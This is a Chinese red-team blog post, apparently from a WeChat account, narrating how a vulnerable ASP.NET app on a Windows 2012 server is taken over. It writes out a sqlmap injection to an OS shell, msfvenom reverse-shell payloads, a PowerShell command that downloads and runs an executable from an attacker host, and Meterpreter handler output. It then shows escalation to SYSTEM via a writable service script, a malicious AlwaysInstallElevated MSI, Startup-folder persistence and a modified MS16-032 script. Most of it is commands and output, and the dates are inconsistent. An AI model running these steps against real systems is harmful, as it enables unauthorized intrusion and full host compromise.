我将从“渗透者”的角度来写这篇文章,只是为了更加接近真实环境
任务是从易受攻击的 Web 应用程序开始获取 Windows“系统”权限。获得结果的方法有多种,其中一些需要“用户交互”。
服务器仅开放端口 80 用于入站连接。
我不会过多介绍细节,但这次挑战让我有机会深入挖掘 Windows 的一些隐藏方面,我将对此进行讨论。
让我们从头开始。托管在 Win2012 服务器上的 Web 应用程序很容易受到 SQLi 注入的攻击,经过一些测试,我发现了 sqlmap 的正确参数:
sqlmap -u http://x.x.x.x/test1/default.aspx?id=1 --dbms=mssql --technique=US --tamper=randomcase --os-shell
|
没那么难!由于数据库的严重配置错误,存在某种类型的 WAF,可以通过修改后的篡改脚本轻松绕过。我终于得到了一个 os-shell (xp_cmdshell)!
Parameter: id (GET) Type: stacked queries Title: Microsoft SQL Server/Sybase stacked queries (comment) Payload: id=1;WAITFOR DELAY '0:0:5' Type: UNION query Title: Generic UNION query (NULL) - 1 column Payload: id=1 UNION ALL SELECT CHAR(113)+CHAR(120)+CHAR(112)+CHAR(120)+CHAR(113)+CHAR(84)+CHAR(80)+CHAR(85)+CHAR(111)+CHAR(89)+CHAR(89)+CHAR(79)+CHAR(122)+CHAR(71)+CHAR(119)+CHAR(99)+CHAR(109)+CHAR(78)+CHAR(89)+CHAR(116)+CHAR(87)+CHAR(89)+CHAR(120)+CHAR(80)+CHAR(72)+CHAR(69)+CHAR(115)+CHAR(104)+CHAR(84)+CHAR(120)+CHAR(65)+CHAR(98)+CHAR(107)+CHAR(111)+CHAR(116)+CHAR(84)+CHAR(73)+CHAR(73)+CHAR(70)+CHAR(112)+CHAR(74)+CHAR(90)+CHAR(76)+CHAR(69)+CHAR(66)+CHAR(113)+CHAR(107)+CHAR(112)+CHAR(106)+CHAR(113)
[19:10:11] [WARNING] changes made by tampering scripts are not included in shown payload content(s) [19:10:11] [INFO] testing Microsoft SQL Server [19:10:11] [INFO] confirming Microsoft SQL Server [19:10:11] [INFO] the back-end DBMS is Microsoft SQL Server web server operating system: Windows 8.1 or 2012 R2 web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 8.5 back-end DBMS: Microsoft SQL Server 2012 [19:10:11] [INFO] testing if current user is DBA [19:10:11] [INFO] testing if xp_cmdshell extended procedure is usable [19:10:11] 2[WARNING] something went wrong with full UNION technique (could be because of limitation on retrieved number of entries). Falling back to partial UNION technique [19:10:11] [INFO] the SQL query used returns 1 entries [19:10:11] [INFO] xp_cmdshell extended procedure is usable [19:10:11] [INFO] going to use xp_cmdshell extended procedure for operating system command execution [19:10:11] [INFO] calling Windows OS shell. To quit type 'x' or 'q' and press ENTER os-shell>
|
好的,第一步完成了。现在我应该从收集信息开始吧?
os-shell> whoami do you want to retrieve the command standard output? [Y/n/a] y [19:12:55] [INFO] the SQL query used returns 1 entries [19:12:55] [INFO] retrieved: srv2012\andrea command standard output [1]: [*] srv2012andrea os-shell> net user andrea | find "Group" do you want to retrieve the command standard output? [Y/n/a] y [19:12:34] [INFO] the SQL query used returns 2 entries [19:12:34] [INFO] retrieved: Local Group Memberships *Power Users *Remote Desktop Users [19:12:34] [INFO] retrieved: Global Group memberships *None command standard output: --- Local Group Memberships *Power Users *Remote Desktop Users Global Group memberships *None ---
|
帐户是本地用户并且..哎呀!我不是管理员,我没有系统权限
不用惊慌,还记得 Windows 系统上权限升级的基础知识吗?
首先,Meterpreter shell 可以帮助我们进行调查。
但在继续之前,快速检查已安装的程序(c:program files、c:program files(x86))并没有发现任何 AV 软件……太棒了,所以我创建了一个木马程序!
lport=4444 -f exe > r.exe
|
在 msfconsole 上设置监听器:
Module options (exploit/multi/handler): Name Current Setting Required Description Payload options (windows/X64/meterpreter/reverse_tcp): Name Current Setting Required Description
EXITFUNC process yes Exit technique: seh, thread, process, none LHOST X.X.X.X yes The listen address LPORT 4444 yes The listen port msf exploit(handler) > exploit -j
|
现在我必须上传这个可执行文件,对吗?但如何呢?
os-shell>powershell -nop -c"(New-Object System.Net.WebClient).DownloadFile('http://your_ip/r.exe', 'c:usersandrear.exe')"
os-shell>c:usersandrear.exe
[*] Started reverse TCP handler on x.x.x.x:5555
[*] Starting the payload handler...
[*] Sending stage (1189423 bytes) to y.y.y.y
[*] Meterpreter session 1 opened (x.x.x.x:5555 -> y.y.y.y:49177) at 2017-02-21 18:15:53 +0100
meterpreter >
极好的!Meterpreter shell 建立了!现在我必须获取 SYSTEM,但是如何获取呢?
首先,我尝试了经典的“权限升级”技术。
服务配置错误
这就是超经典的升级方法!首先,我必须找到一个易受攻击的服务。什么是“脆弱”服务?至少有一个对可执行文件权限较弱的服务,允许我们更改它们……
已安装服务的列表给了我一个很好的提示:
meterpreter > shell Process 2084 created. Channel 4 created. Microsoft Windows [Version 6.3.9600] (c) 2013 Microsoft Corporation. All rights reserved. C:Windowssystem32>sc query ----snip---- SERVICE_NAME: DummySvc DISPLAY_NAME: DummySvc TYPE : 10 WIN32_OWN_PROCESS STATE : 4 RUNNING (STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN) WIN32_EXIT_CODE : 0 (0x0) SERVICE_EXIT_CODE : 0 (0x0) CHECKPOINT : 0x0 WAIT_HINT : 0x0 ----snip----
|
嗯..这个 DummySvc 看起来很有趣,所以我收集了有关这个“虚拟服务”的其他信息:
C:Windowssystem32>sc qc dummysvc [SC] QueryServiceConfig SUCCESS SERVICE_NAME: dummysvc TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:Program Filesdummyservicenssm.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : DummySvc DEPENDENCIES : SERVICE_START_NAME : LocalSystem
|
服务正在以“LocalSystem”权限运行!这是 C:Program Filesdummyservice 的列表
C:Program Filesdummyservice>dir Volume in drive C has no label. Volume Serial Number is C050-5A8D Directory of C:Program Filesdummyservice 02/16/2023 10:26 PM . 02/16/2023 10:26 PM .. 08/31/2014 07:34 AM 331,264 nssm.exe 02/16/2017 10:46 PM 151 readme.txt.txt 02/16/2017 11:02 PM 16 service.bat 3 File(s) 331,431 bytes 2 Dir(s) 15,100,686,336 bytes free C:Program Filesdummyservice>type readme.txt.txt service.bat: this is the service will be relaunched from taskscheduler if not running pls. notify admin if service is not working, we will restart it C:Program Filesdummyservice>type service.bat @echo off pause
|
这些是该文件夹的权限:
C:Program Filesdummyservice>icacls *.* nssm.exe APPLICATION PACKAGE AUTHORITYALL APPLICATION PACKAGES:(I)(M) BUILTINUsers:(I)(M) NT AUTHORITYSYSTEM:(I)(F) BUILTINAdministrators:(I)(F) readme.txt.txt APPLICATION PACKAGE AUTHORITYALL APPLICATION PACKAGES:(I)(M) BUILTINUsers:(I)(M) NT AUTHORITYSYSTEM:(I)(F) BUILTINAdministrators:(I)(F) service.bat APPLICATION PACKAGE AUTHORITYALL APPLICATION PACKAGES:(I)(M) BUILTINUsers:(I)(M) NT AUTHORITYSYSTEM:(I)(F) BUILTINAdministrators:(I)(F) Successfully processed 3 files; Failed processing 0 files
|
现在我有了一个清晰的思路:
用户组有(M)修改权限
我可以修改 service.bat 并插入我的 meterpreter shell 可执行文件或覆盖nssm.exe可执行文件。最好的选择是第一个,无需担心 AutoMigrate 等问题。
鉴于该服务在 LocalSystem 上下文下运行,我将得到一个 SYSTEM shell!
出现问题,服务必须重新启动。当然,我可以按照 readme.txt.txt 中所述询问管理员,但我想更进一步。如果我可以自己启动/停止服务怎么办?通常普通用户不能这样做。
最简单的方法是尝试“net stop dummyscv”,看看会发生什么。但我想学习新的(有用的)东西,所以决定检查服务权限:
C:Program Filesdummyservice>sc sdshow dummysvc D:(A;;CCLCSWRPWPDTLOCRRC;;;SY) (A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA) (A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU) (A;;RPWP;;;S-1-5-21-938204560-2839928776-2225904511-1001)
|
这个命令是什么?以安全描述符定义语言 (SDDL) 输出服务的安全描述符。有点神秘,但看看最后一条记录:
(A;;RPWP;;;S-1-5-21-938204560-2839928776-2225904511-1001)
|
基本上,它 (A) 授权 sid S-1-5.. 标识的用户启动 (RP) 和停止 (WP) 服务。S-1-5 是谁..?
我回到 Meterpreter 并查看了我的 SID:
meterpreter > getsid Server SID: S-1-5-21-938204560-2839928776-2225904511-1001
|
这是我的SID!!!
因此,我准备了新的 Meterpreter reverse_shell,监听不同的端口:
lhost=y.y.y.y lport=5555 -f exe > r2.exe
|
上传它并在 msfconsole 中启动侦听器。
从之前的 shell 中:
C:Program Filesdummyservice>net stop dummysvc The DummySvc service was stopped successfully. C:Program Filesdummyservice>echo c:usersandrear2.exe > service.bat C:Program Filesdummyservice>net start dummysvc The DummySvc service was started successfully. [*] Meterpreter session 2 opened (x.x.x.x:5555 -> y.y.y.y:49630) at 2017-02-21 22:45:48 +0100
|
我得到了一个新的 meterpreter 会话,但这次具有系统权限:
meterpreter > shell Process 3600 created. Channel 1 created. Microsoft Windows [Version 6.3.9600] (c) 2013 Microsoft Corporation. All rights reserved. C:Program Filesdummyservice>whoami whoami nt authoritysystem
|
权限维持
这也是一个经典的漏洞利用。这些设置允许非特权用户通过具有提升的 (SYSTEM) 权限的 Microsoft Windows Installer (msiexec) 安装软件包 (.msi)。这可能是一个很大的安全问题,例如:如果我安装了一个特制的 MSI 文件,该文件在安装过程中启动了 meterpreter shell,会发生什么情况?具有 SYSTEM 权限的 shell!
首先,我检查用户“Andrea”是否具有类似的权限。有两个注册表项需要验证,一个在当前用户上下文中,一个在本地计算机上下文中,如果两者都设置为“1”,我们就成功了一半......
C:>reg query HKCUSOFTWAREPoliciesMicrosoftWindowsInstaller /v AlwaysInstallElevated HKEY_CURRENT_USERSOFTWAREPoliciesMicrosoftWindowsInstaller AlwaysInstallElevated REG_DWORD 0x1 C:>reg query HKLMSOFTWAREPoliciesMicrosoftWindowsInstaller /v AlwaysInstallElevated reg query HKLMSOFTWAREPoliciesMicrosoftWindowsInstaller /v AlwaysInstallElevated HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindowsInstaller AlwaysInstallElevated REG_DWORD 0x1
|
太好了,当前用户拥有“始终安装特权”权限。使用“msfvenom”,我创建了“特殊”msi 文件:
msfvenon -p windows/x64/meterpreter/reverse_tcp lhost=y.y.y.y lport=5555 -f msi-nouac > r2.msi
|
上传它(这次使用 meterpreter shell)并使用开关执行 msi:“/qn”= nogui、“/quiet”=quiet 和 /”log*v”=log verbose 到文件 i.log
C:test>msiexec /qn /quiet /log*v i.log /i r2.msi The Windows Installer Service could not be accessed. This can occur if the Windows Installer is not correctly installed. Contact your support personnel for assistance.
|
但出了点问题,查看“i.log”给了我更多细节:
=== Verbose logging started: 9/11/2023 19:30:34 Build type: SHIP UNICODE 5.00.9600.00 Calling process: C:Windowssystem32msiexec.exe === MSI (c) (D8:C8) [19:30:34:727]: Resetting cached policy values MSI (c) (D8:C8) [19:30:34:727]: Machine policy value 'Debug' is 0 MSI (c) (D8:C8) [19:30:34:727]: ******* RunEngine: ******* Product: r2.msi ******* Action: ******* CommandLine: ********** MSI (c) (D8:C8) [19:30:34:727]: Client-side and UI is none or basic: Running entire install on the server. MSI (c) (D8:C8) [19:30:34:727]: Grabbed execution mutex. MSI (c) (D8:C8) [19:30:34:727]: Failed to connect to server. Error: 0x80070005 MSI (c) (D8:C8) [19:30:34:742]: Note: 1: 2774 2: 0x80070005 1: 2774 2: 0x80070005 MSI (c) (D8:C8) [19:30:34:742]: Failed to connect to server. MSI (c) (D8:C8) [19:30:34:742]: MainEngineThread is returning 1601 === Verbose logging stopped: 9/11/202319:30:34 ===
|
该问题似乎与缺乏“真实”终端或 GUI 会话有关,甚至无法直接连接到错误执行的服务器端(DCOM 权限)?
我无能为力,甚至尝试使用metasploit(always_install_privileged)进行相同的利用,但没有运气
换个思路
我使用 meterpreter 中的“ps”命令查看了正在运行的进程,发现属于登录用户“Andrea”的进程“explorer.exe”。鉴于这次与真正的 GUI 相关联,这可能是一个很好的迁移候选者。
1912 2816 explorer.exe x64 2 SRV2012andrea C:WindowsExplorer.EXE
|
这应该是一个有效的句柄!我很快迁移到进程1912:
meterpreter > migrate 1912 [*] Migrating from 2780 to 1912... [*] Migration completed successfully.
|
重新启动!获得系统权限!
[*] Meterpreter session 8 opened (x.x.x.x:5555 -> y.y.y.y:49271) at .. meterpreter > getuid Server username: NT AUTHORITYSYSTEM meterpreter > shell Process 2300 created. Channel 1 created. Microsoft Windows [Version 6.3.9600] (c) 2013 Microsoft Corporation. All rights reserved. C:Windowssystem32>whoami whoami nt authoritysystem
|
但是..如果用户没有登录怎么办?最后的机会:
启动 msi 自动将其放置在用户的启动菜单中并等待用户登录...
如何?更简单:
c:UsersandreaAppDataRoamingMicrosoftWindowsStart MenuProgramsStartup>echo msiexec /qn /quiet /i c:usersandrear2.msi > t.bat
|
所以我只是问管理员用户 Andrea 是否可以登录..然后再次.. SYSTEM shell
MS16-032 漏洞利用
您可能听说过m16-032漏洞(又名辅助登录特权),该漏洞影响从 Windows 2008 到 Windows 10 的 Windows 系统,并允许权限升级到 SYSTEM!
首先我检查系统是否容易受到攻击。
C:Windowssystem32>wmic qfe list | find "3139914"
|
空响应...补丁未安装,太好了!
接下来,我尝试了专用的metasploit模块(exploit/windows/local/ms16_032_secondary_logon_handle_privesc),但似乎不起作用,我得到的只是;
[*] Exploit completed, but no session was created.
|
所以我尝试了“手动”方式,下载了ms16-032.ps1并做了一些更改。我必须调用我的 meterpreter shell,而不是调用 cmd.exe ,否则它将没有用......
在“main”函数中我更改了参数:
$CallResult = [Advapi32]::CreateProcessWithLogonW( "user", "domain", "pass", 0x00000002, "C:usersandrear2.exe", "", 0x00000004, $null, $GetCurrentPath, [ref]$StartupInfo, [ref]$ProcessInfo)
|
之后,上传 poweshell 脚本 (m.ps1) 并从我之前的 shell 执行它:
c:usersandreapowershell -windowstyle hidden -executionpolicy bypass -file c:usersandream.ps1
|
在我的 msfconsole 中,出现误导性错误消息:
[-] Errno::ECONNRESET Connection reset by peer - SSL_accept
|
嗯..可能与同样的问题有关,缺少终端/窗口会话处理程序?
我再次尝试了相同的解决方案:用户 Andrea 已登录,因此我迁移到他的 explorer.exe 进程,执行 .ps1 脚本并再次返回 SYSTEM shell!
msf exploit(handler) > sessions -i 7 [*] Starting interaction with 7... meterpreter > getuid Server username: NT AUTHORITYSYSTEM meterpreter >
|
如前所述,作为替代方案,我可以将脚本放置在 Startup 文件夹中,等待用户登录并获取 SYSTEM shell。
c:UsersandreaAppDataRoamingMicrosoftWindowsStart MenuProgramsStartup>echo powershell -windowstyle hidden -executionpolicy bypass -file c:usersandream.ps1 > t.bat
|
到目前为止,这些是我找到的解决方案..了解如何从 meterpreter shell 生成有效的终端会话/GUI 处理程序,模拟登录用户会很有趣?!
就这样,下一集讲如何使用白银票据维持权限。
原文始发于微信公众号(红队笔记录):红队视角之获取系统权限(一)
评论